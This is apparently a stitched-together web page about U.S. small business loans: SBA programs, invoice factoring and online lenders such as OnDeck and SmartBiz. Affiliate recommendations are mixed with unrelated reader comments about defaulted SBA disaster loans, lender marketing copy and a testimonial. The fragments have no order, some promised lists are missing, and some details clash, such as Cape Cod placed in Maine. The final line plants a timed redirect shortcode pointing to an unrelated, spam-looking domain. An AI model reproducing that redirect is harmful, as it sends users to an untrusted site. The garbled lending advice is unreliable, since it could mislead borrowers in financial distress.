Small business loans are on the rise, with the U.S. Small Business Administration reporting that approximately $11 billion was approved across small business loan programs for the entire year of 2012. And yet, that amount had already almost doubled—hitting $18.9 billion—by mid-2017.
Small-business loans are typically issued only for businesses with a year or more of history and revenue. Among the financing options for entrepreneurs who qualify are U.S. Small Business Administration loans, term loans, business lines of credit and invoice factoring. Startups operating for less than a year can consider other financing options.
Microloans and personal loans are good options to finance your inventory and daily expenses if you’re an established business but make less than $25,000 in revenue. Microloans through nonprofits and the SBA usually have low APR and manageable payment terms, but you’d have to deal with stringent requirements. Personal loans are easier to access, but the APR can be higher than with microloans.
OnDeck and Kabbage are good options when you need cash for everyday expenses and inventory but your personal credit score still needs some work. If you have at least $100,000 in annual revenue and a personal credit score of 500 or more, you may qualify for OnDeck’s term loan. For businesses with lower revenue, consider Kabbage, which also does not require a minimum personal credit score. You’ll get high APRs with both lenders. You should turn to these options mainly for short-term needs or emergencies and only if you’re sure you have the cash flow to cover the financing costs.
When you have strong personal credit and a young business with a lot of unpaid customer invoices, BlueVine and Fundbox are good financing options. Both offer invoice factoring at similar costs. Where they differ: minimum revenue and minimum credit score. With BlueVine, you need at least $120,000 in revenue and a minimum 530 personal credit score. Fundbox does not require a minimum revenue or credit score; the lender does require at least six months of activity in a compatible online accounting software.
Our recommend SBA loan provider is SmartBiz. They offer SBA 7(a) up to $350k. If you have been in business 2+ years, are profitable, and have a credit score above 680, you can prequalify online in just a few minutes.
For-profit lenders are reluctant to issue loans to anyone who does not have a strong credit report and financial history. That is not the case with government small business loans. Obviously, a decent credit report is important, and you will have to follow the guidelines regarding the repayment period and the interest rate set by the government, but usually the interest rates charged by government loans are lower than those you could expect in the private sector.
For newer businesses with steady revenue, a term loan from StreetShares is a good option. If you have at least $100,000 in revenue and have been in business six months or more, you can qualify for StreetShares.
• Express Programs This includes SBAExpress, an accelerated loan that promises a response to an application within 36 hours. The maximum guarantee for these loans is 50 percent. Other categories include Community Express, for businesses needing financial and technical assistance in underserved communities, and Patriot Express, which are designed for businesses majority-owned by veterans or members of the military.
I had an SBA loan in Florida due to the hurricanes of 2004. In 2007 I lost my job and in six months I was on SSDI knowing that there was no way I would be able to pay the taxes, mortgage or insurance and be able to survive. The Treasury Department started taking money for SBA out of my SSDI. I didn’t mind that it was that every time I would call the SBA to try and get help no one wanted to help. So it took 5 years for the county to take the house for delinquent taxes in 2013. If they had just talked to me to explain anything maybe there might have been something I could have done to keep my home. In my 60’s and having to start over and not in great health. Now I live in a studio which is only 12×20 not that big. I feel like life is over and it will only get worse form here. Enough pity party. I just want the Government to be there for the little people and help like they should, when. They helped with the hurricanes but once that is done so are they. They need to include the taxes in the mortgage so a lot of the tax sales won’t happen. MY home sold for only S30,000 and the buyer sold it for $70,000. Haven’t heard for anyone SBA about the difference. I think it is somewhere around $18,000, Will they just let it slide, seems if they wanted something they would be still deducting from my SSDI? Would I be able to get a Veteran’s loan to get a small home? Any answer would be appreciated. Wish I found this years ago. Maybe something could have been done to keep it. Jude
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I received a disaster loan after hurricane Katrina. I had a small house that I was remodeling. My insurance cancelled because house was not livable. I became disabled after getting the loan and was forced to file for SS disability. With the decline in my income I missed a couple of payments and my loan was turned over to a collection agency. They deduct my payment out of my SS check before I get it. It doesn’t leave me enough to even rent an apt. Is there any way I can get this loan forgiven. Please help!
You might still have the option to settle when the loan is with the Treasury Department, but it’s a tedious process. So it’s always better to find solutions at the beginning of the process, when the loan is still with the original lender. Think about it this way: would you rather deal with a nice woman at a bank named Mary, or a government agent who eats entrepreneurs for breakfast?
In general, SBA Export Loans are designed to help American small businesses expand their export activities, engage in international transactions, and enter new foreign markets. There are three types of SBA Export Loans:
Every business is different. We’d like to partner with you to understand your needs so we can help customize a business lending solution for you now, while also proactively helping you plan for the future. Simply answer a few questions, and we’ll contact you to discuss your best financing options.
For example, it can put more weight on your business credit profile or more on your personal. It’s also a very “smart” business credit scoring model because it will automatically go from one business credit bureau to another, in whatever order of priority the lender prefers, until it’s able to generate a score.
If you don’t have established business credit yet, you can leverage your personal credit to qualify for financing – but you’ll probably have to personally guarantee the loan or put down collateral. And just like a personal credit score does, a strong business credit score can help you qualify for better rates and terms. Taking the time to build excellent business credit – and monitor it regularly – can save you thousands of dollars on the cost of your loan. Financially speaking, a good business credit score it can be a total game changer for your business
We had a agricultural business that closed in July of this year. We have a SBA backed 7a loan with a small local bank that holds a second on our property for $548,000.00 with a unconditional guarantee from our parents who are also farmers and are going out of business too. We also have a first loan on our property for $248,000.00. Along with those loans we had 2 operating lines of credit totaling $40,300.00 that were with the small bank who is also is the SBA backed lender but these lines are third and fourth liens. We have been very open and honest with our bank and even told them we were going to miss our payment about a month before it was due so we could work out a solution. Since then we are now about 1 month late on the loan. have handled the sale of all of the business assets for our bank and have notified them of all sales. We have also maintained the property and all structures.
A big advantage of getting a business line of credit as opposed to a term loan is that you don’t pay interest on a business line of credit unless you actually use the funds. Meeting short term working capital needs without taking in long term debt can save businesses on interest and help the balance sheets.
Start by asking your lender about Annual Percentage Rate or APR. APR takes into account all fees and interest rates so you have a standard measure of the cost of credit across different type loan products. Ask the lender to explain any and all fees associated with your small business loan. Typical fees associated with loans may include:
The same paperwork that is required for the 7(a) loan is also required for a 504 loan. A list of Certified Development Companies in your state can be found here. Whether you first approach the senior lender or the CDC is up to you.
Factoring is a finance method where a company sells its receivables at a discount to get cash up-front. It’s often used by companies with poor credit or by businesses such as apparel manufacturers, which have to fill orders long before they get paid. However, it’s an expensive way to raise funds. Companies selling receivables generally pay a fee that’s a percentage of the total amount. If you pay a 2 percent fee to get funds 30 days in advance, it’s equivalent to an annual interest rate of about 24 percent. For that reason, the business has gotten a bad reputation over the years. That said, the economic downturn has forced companies to look to alternative financing methods and companies like The Receivables Exchange are trying to make factoring more competitive. The exchange allows companies to offer their receivables to dozens of factoring companies at once, along with hedge funds, banks, and other finance companies. These lenders will bid on the invoices, which can be sold in a bundle or one at a time.
With your strong personal credit and steady revenue, Lending Club, SmartBiz and OnDeck are good choices for expansion or refinancing. If you want the lowest rates, consider SmartBiz, which provides SBA loans. For big investments, OnDeck has the highest loan limit — $500,000 — but the loans will likely cost you more. Lending Club is a middle-ground option, with lower APR than OnDeck and easier qualifications than SmartBiz.
CAPLines are SBA lines of credit meant to help small businesses meet short-term and seasonal working capital needs. The SBA offers 5 types of these lines of credit. They can be fixed or revolving, have a max term of 5 years, and otherwise adhere to SBA 7(a) rules. Read more…
National Funding offers special opportunities for its customers to terminate contracts early and receive a discount in the process. Equipment Finance customers who pay off the total remaining balance early, at any point during the contract, will automatically receive a 6% discount off the total remaining balance. Working Capital customers who pay off the total remaining balance in full within the first 100 days of the contract will automatically receive a 7% discount off the total remaining balance. We do not currently offer a discount on our lease contracts. Customers must pay off the balance in full, be current, and in good standing to take advantage of the discount within the time parameters.
Trade finance under the SBA Export loan program is broken up into three types of loans, but they all have the same goal. The aim is to expand international trade and export activities. Here is what each loan within the SBA Export program can be used for:
Second question first. If the OIC was properly prepared, you have been released from your personal guarantee. As to the 1099, it should be sent to the entity that took out the loan, not you. If you had an LLC or corporation, they got the money. You were a guarantor not the borrower.
If you have derogatory or no credit history, it can take months or even years of positive credit activity to move your SBSS score significantly higher. It’s vital to build your credit and ensure it’s healthy before you need it.
If you’re in the market for commercial real estate and will occupy at least 51% of the space, you may be a good candidate for an SBA 504 loan. We recommend working with Liberty SBF for SBA 504 loans. If you have a credit score above 680 (check here for free), you’ve been in business 3+ years, are profitable, and need more than $500k, speak with Liberty SBF today.
SBA Export Working Capital Loan: Funding up to $5 million in working capital to fund export transactions with long when the small business has a purchase order from a foreign customer. Terms typically under 12 months, but up to 3 years.
Richard and Jo-Anne The Parsonage Inn; Cape Cod, ME After 30 years in the airline industry, traveling the world and raising five children, Richard and Jo-Anne wanted to tackle a new adventure: business ownership. Guidant helped the couple buy an existing business so they could enjoy being their own boss for once.
“OnDeck’s process was very streamlined. I called them up, told them what I wanted to do, filled out some paper work, and within a couple days I had the money deposited in my bank account. I highly recommend OnDeck to any small business looking to grow. It has been very good for us — my business has grown 59% since I started working with OnDeck.” [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]